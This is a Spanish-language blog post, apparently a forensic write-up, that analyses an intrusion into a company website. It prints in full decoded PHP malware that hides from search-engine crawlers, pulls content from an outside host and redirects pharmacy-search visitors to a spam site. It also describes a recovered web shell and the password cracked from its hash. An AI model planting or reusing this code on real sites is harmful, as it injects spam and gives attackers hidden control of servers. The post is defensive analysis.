Blog

Análisis de una intrusión – Parte II

Lista de post de la serie “Análisis de una intrusión”:

1 Análisis de una intrusión – Parte I

2 Análisis de una intrusión – Parte II

La una de las soluciones para descifrar el código del post anterior es la siguiente.

 /* Remplazo la función  eval() por echo y para mayor claridad filtro la salida con la función htmlspecialchars(), */
echo htmlspecialchars(gzinflate(base64_decode("string_sospechoso"))),ENT_QUOTES;

Resultado después de decodificar

$dir = '754692293';
$pages = 'www.Empresa-ejemplo.es/fades/facentros/biblicos/incionGral.php
www.Empresa-ejemplo.es/eios/syfechas.php
www.Empresa-ejemplo.es/mo
www.Empresa-ejemplo.es/ests/antil.php
www.Empresa-ejemplo.es/estciencia09/grama.php
';

$pages=explode("\n",$pages);
$des = str_rot13('fge_ebg13');
$request_url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$request_url=trim(str_replace('www.','',$request_url));
$request_url=str_replace('/','',$request_url);
$erase = base64_decode(str_rot13('LzSmMGL0K2EyL29xMD=='));
$request_url=str_replace('&','',$request_url);
$request_url=str_replace('&','',$request_url);
$c = 'dWdnYzovL2N1YzUteXZvLnBiei90cmcv';
$server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
$ref = @$_SERVER['HTTP_REFERER'];$ref = urlencode($ref);
$server_host = @$_SERVER['HTTP_HOST'];
$server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$server_remote_addr = @$_SERVER['REMOTE_ADDR'];
$server_query_string = @$_SERVER['QUERY_STRING'];
$server_signature = @$_SERVER['SERVER_SIGNATURE'];
$server_request = @$_SERVER['REQUEST_URI'];
$server_ip = @$_SERVER['REMOTE_ADDR'];
foreach($pages as $page){
     $addr=trim(str_replace('www.','',$page));
     $page_tmp=str_replace('&','',$addr);
     $page_tmp=str_replace('&','',$page_tmp);
     $page_tmp=str_replace('/','',$page_tmp);
     if ($request_url==$page_tmp){
          @$is_human = @detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging);
          if (@$is_human==false){
               if(ini_get('allow_url_fopen')==1){
                    echo @file_get_contents('http://files-uploader.com/'.$dir.'/'.md5($addr));
               }
               else if(function_exists('curl_init')){
                    $ch = curl_init();
                    $c_url = 'http://files-uploader.com/'.$dir.'/'.md5($addr);
                    curl_setopt($ch, CURLOPT_URL, $c_url);
                    curl_setopt($ch, CURLOPT_HEADER, 0);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                    $data =  curl_exec($ch);
                    echo $data;
               }
               exit;
          }
          else{

               $keys = Array(
                    'viagra',
                    'cialis',
                    'propecia',
                    'levitra',
                    'drug',
                    'levitra',
                    'propecia',
                    'pharmac',
                    'medic',
                    'viagro',
                    'cailis',
                    'cialus',
                    'taladaf',
                    'sildenaf',
                    'cialas',
                    'viagria',
                    'prescription',
                    'cialas',
                    'viagria',
                    'viagara',
                    'cialia',
                    'ciallis',
                    'ciailas',
                    'cialias',
                    'vardenaf',
                    'tadalaf',
                    'slidenaf'
               );
               $loref = strtolower($ref);
               foreach ($keys as $key)
                    if (strpos($loref,$key)!==false){
                         header("Location: http://locate-runer.com/go.php?sid=1");
                         exit;
                    }
          }
     break;
     }
}

function detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging){
    $stop_ips_masks = array(
        "66\.249\.[6-9]
[0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
        "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
        "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
        "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
        "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
        "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
        "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
        "93\.172\.94\.227",                // MacFinder
        "212\.100\.250\.218",            // Wells Search II
        "71\.165\.223\.134",            // Indy Library
        "70\.91\.180\.25",
        "65\.93\.62\.242",
        "74\.193\.246\.129",
        "213\.144\.15\.38",
        "195\.92\.229\.2",
        "70\.50\.189\.191",
        "218\.28\.88\.99",
        "165\.160\.2\.20",
        "89\.122\.224\.230",
        "66\.230\.175\.124",
        "218\.18\.174\.27",
        "65\.33\.87\.94",
        "67\.210\.111\.241",
        "81\.135\.175\.70",
        "64\.69\.34\.134",
        "89\.149\.253\.169",
        "64\.233\.1[6-8]
[1-9]\.[0-9]+",
        "64\.233\.19[0-1]\.[0-9]+",
        //google from iplists
        "209\.185\.108\.[0-9]+",
        "209\.185\.253\.[0-9]+",
        "209\.85\.238\.[0-9]+",
        "216\.239\.33\.9[6-9]",
        "216\.239\.37\.9[8-9]",
        "216\.239\.39\.9[8-9]",
        "216\.239\.41\.9[6-9]",
        "216\.239\.45\.4",
        "216\.239\.46\.[0-9]+",
        "216\.239\.51\.9[6-9]",
        "216\.239\.53\.9[8-9]",
        "216\.239\.57\.9[6-9]",
        "216\.239\.59\.9[8-9]",
        "216\.33\.229\.163",
        "64\.233\.173\.[0-9]+",
        "64\.68\.8[0-9]\.[0-9]+",
        "64\.68\.9[0-2]\.[0-9]+",
        "72\.14\.199\.[0-9]+",
        "8\.6\.48\.[0-9]+",
        //google from iplists
// 10.0.0.0 - 10.255.255.255 iana
        "207\.211\.40\.82",
        "67\.162\.158\.146",
        "66\.255\.53\.123",
        "24\.200\.208\.112",
        "129\.187\.148\.240",
        "129\.187\.148\.244",
        "199\.126\.151\.229",
        "118\.124\.32\.193",
        "89\.149\.217\.191"

    );
    $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress",'Charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex');

    $server_user_agent = preg_replace("|User\.Agent\:[\s ]?|i", "", @$server_user_agent);

    $is_human = true; $stop_ip_detected = false; $stop_agent_detected = false; $detected_str = "";
    foreach ($stop_ips_masks as $stop_ip_mask) if(eregi("$stop_ip_mask", $server_ip)) {
        $is_human = false;  break;
    }
    if($is_human) foreach($stop_agents_masks as $stop_agents_mask) if(eregi($stop_agents_mask, @$server_user_agent) !== false){
        $is_human = false;  break;
    }
    if($is_human and !eregi("^[a-zA-Z]{5,}", @$server_user_agent)) {
        $is_human = false;
    }

    if($is_human and strlen($server_user_agent)<=11) {
        $is_human = false;
    }

    if(stristr($ref,$server_query_string)) {
        $is_human = false;
    }

    return $is_human;
}

Las conclusiones que se pueden sacar de este código son:

  • Es accesible cuando se cumplen ciertos requisitos y solo cuando es redireccionado desde buscadores.
  • El hacker oculto muy bien su código al incrustarlo en una página que se utiliza únicamente como redirección, ya que en ella no se puede ver su código fuente a menos que uno la busque directamente en el servidor y la examine cosa que sería buscar una aguja en un pajar con la cantidad de páginas web que tiene la organización.
  • El objetivo del hacker es utilizar a la organización para realizar black SEO  para la venta ilegal de VIAGRA.

Realizando un seguimiento el origen del hacking conseguir llegar a un servidor de archivos ubicado en http://files-uploader.com, al cual no tenemos premisos para ver su contenido. Pero si nos fijamos en el código anterior hay una variable llamada $dir con valor 754692293 y si este valor lo agregamos a la URL,  veremos todos los archivos asociados a la organización. Estos eran utilizados para la venta de viagra de forma ilegal usando a la organización como puente de enlace.

Captura de pantalla 2013-10-14 a la(s) 17.09.31

Captura de pantalla 2013-10-14 a la(s) 17.09.57

Captura de pantalla 2013-10-14 a la(s) 17.10.33

Continuando con la investigación encuentro que el sitio utilizado por el hacker, utiliza algún sistema de proxy, dado que al realizar un rastreo de geolocalización, obtengo punto de origen distintos países como Holanda, EEUU, India, Rusia. Lo que tienen todos los resultados en común, es que el proveedor de servicio del dominio, es uno llamado http://inferno.name/, el cual es una página web Rusa que ofrece servicios de hosting con servidores en distintos países, el cual tiene su sede central supuestamente en Londres.

Mi conclusión es que el dominio http://files-uploader.com  se utiliza, solo para realizar delitos en internet, ya que la Empresa-Ejemplo no es el único dominio afectado. Realizando una búsqueda personalizada en Google con “site:files-uploader.com”, se podrá ver otros directorios con paginas preparadas para otros sitios web y esto hace pensar que este no fue un hacking dirigido a Empresa-Ejemplo, sino que fue un hacking automatizado en masa a distintos dominios en el mundo, realizando un posible ataque a una versión de PHP, apache, wordpress, joomla, dupal o cualquier aplicación web desactualizada con fallos de seguridad. Trate de confirmar mis sospechas realizando búsquedas en Google y encontré, que existen alrededor de 1 millón de sitios afectados, y no solo con viagra sino que muchas web tiene troyanos y virus como se muestra en las siguientes ilustraciones.

Captura de pantalla 2013-10-14 a la(s) 17.20.08

Captura de pantalla 2013-10-14 a la(s) 17.20.46

Como medida de solución, propuse en primera instancia revisar los logs del sistema para corregir lo antes posible  el agujero de seguridad, por la cual entro el hacker ya que si no se soluciona podría entrar varias veces y no se conseguiría nada solamente limpiando los archivos infectados. Esto sería una pérdida de tiempo ya que el peligro de una intrusión seguiría existiendo. Otra solución puede ser el anular el funcionamiento de la función EVAL de PHP para evitar la ejecución de código remoto a través de una intrusión remota pero en la página de la Empresa-Ejemplo se utiliza bastantes veces esa función, lo que nos descarta la posibilidad de desactivar la función ya que habría que estudiar todo el código de las distintas aplicaciones.

Para continuar con la investigación fui al CPD y solicite permiso para realizar búsquedas con comandos Unix en el sistema de ficheros de la página web, que correspondieran con el patrón utilizado por el hacker y en esa búsqueda me encontré con 4 ficheros que coinciden con el patrón  buscado.

Analizando los ficheros encontré que el hacker fue muy listo ya que incrustaba codigo PHP en 2 ficheros HTML y con un .htaccess le daba la posibilidad de ejecutar código PHP en HTML,  estos ficheros contenían un formulario para subir archivos en caso de que alguien eliminara las shell esta es una  forma de recuperar el acceso en la organización. El análisis de los otros 2 ficheros concluyo que eran SHELL (Backdoor) en PHP, para administrar el servidor de forma remota. La Shell solicita una contraseña para acceder a ella. Estudiando el código fuente (luego de decodificarlo ya que también utilizaba base64) encontré el hash MD5 de la contraseña y realizando un ataque de fuerza bruta al hash conseguí el password que es 145155.

Entrando en la SHELL esto es lo primero que nos encontramos.

Captura de pantalla 2013-10-14 a la(s) 18.44.51

Luego en la página principal nos muestra un panel de administración

Captura de pantalla 2013-10-14 a la(s) 18.55.28

Este panel en primera instancia muestra una breve información del servidor y cuenta con un menú el cual se divide en:

Sec. Info: Esta opción muestra información del servidor

Captura de pantalla 2013-10-14 a la(s) 18.55.53

Files: Es un explorador de ficheros el cual tiene varias acciones para realizar con los ficheros.

Captura de pantalla 2013-10-14 a la(s) 19.24.12

Captura de pantalla 2013-10-14 a la(s) 19.04.32

Console: Es una consola o Shell de toda la vida en la cual se introducen los comandos que se desee.

Captura de pantalla 2013-10-14 a la(s) 19.04.49

SQL: Permite conectarse y visualizar una base de datos.

Captura de pantalla 2013-10-14 a la(s) 19.05.09

PHP: Permite ejecutar cualquier script PHP

Captura de pantalla 2013-10-14 a la(s) 19.05.24

Safe mode: Permite desactivar el módulo de seguridad de PHP si está activado.

Captura de pantalla 2013-10-14 a la(s) 19.06.50

String Tools: Son herramientas para el tratamiento de string así como la  búsqueda de palabras precisas en un fichero dentro de un directorio.

Captura de pantalla 2013-10-14 a la(s) 19.07.04

Bruteforce: Sirve para hacer ataques de fuerza bruta a un FTP, MYSQL, PostgreSql.

Captura de pantalla 2013-10-14 a la(s) 19.07.19

Network: Herramientas de red.

Captura de pantalla 2013-10-14 a la(s) 19.07.26

Logout: Cerrar sesión.

Captura de pantalla 2013-10-14 a la(s) 19.07.39

Self remove: Para auto borrarse en caso de que sea descubierta.

Captura de pantalla 2013-10-14 a la(s) 19.07.47

Ejemplo del peligro de tener una SHELL en el sistema

En este ejemplo se encuentra una imagen del directorio de nóminas del 2012 en el mes de la paga extra de septiembre con sus respectivos PDF listados por DNI.

Captura de pantalla 2013-10-14 a la(s) 19.35.40

Archivo de configuración con usuario y password para la conexión a la base de datos.

Captura de pantalla 2013-10-14 a la(s) 19.36.00

Conclusión

El problema al estar esta Shell en el sistema es crítico ya que se puede navegar visualizar y descargar archivos sensibles para la organización así como también de configuración. Debe ser removida inmediatamente y buscar el error de seguridad que se utilizó para poder ingresarla al sistema, ya que si no se encuentra, el autor podrá utilizar la misma técnica para volver a incluirla en el sistema. También deben comenzar las acciones legales contra el hosting que está cometiendo el delito.

Estas shell fue removida y se actualizo el servicio que causo la vulnerabilidad se le mando un reporte a la GDT y al transcurrir unas semanas el hosting que alojaba los fichero utilizados en el fraude fueron removidos y se cancelo su servicio.

Espero que les guste y nos vemos el próximo martes.

Un saludo a todos 😉

“La curiosidad mato al gato y a un hacker le dio su ZeroDay”
Sebastian Cornejo.

@CuriositySec sebastian@highsec.es

  1. secnight
    secnight10-15-2013

    Muy muy bueno campeón !!

    • Sebastian Cornejo
      Sebastian Cornejo10-15-2013

      Gracias 😉

  2. BTshell
    BTshell10-15-2013

    Muy bueno Sebas, GRANDE.

    • Sebastian Cornejo
      Sebastian Cornejo10-15-2013

      gracias y que bien ver que has vuelto

Leave a Reply

*

    No Twitter Messages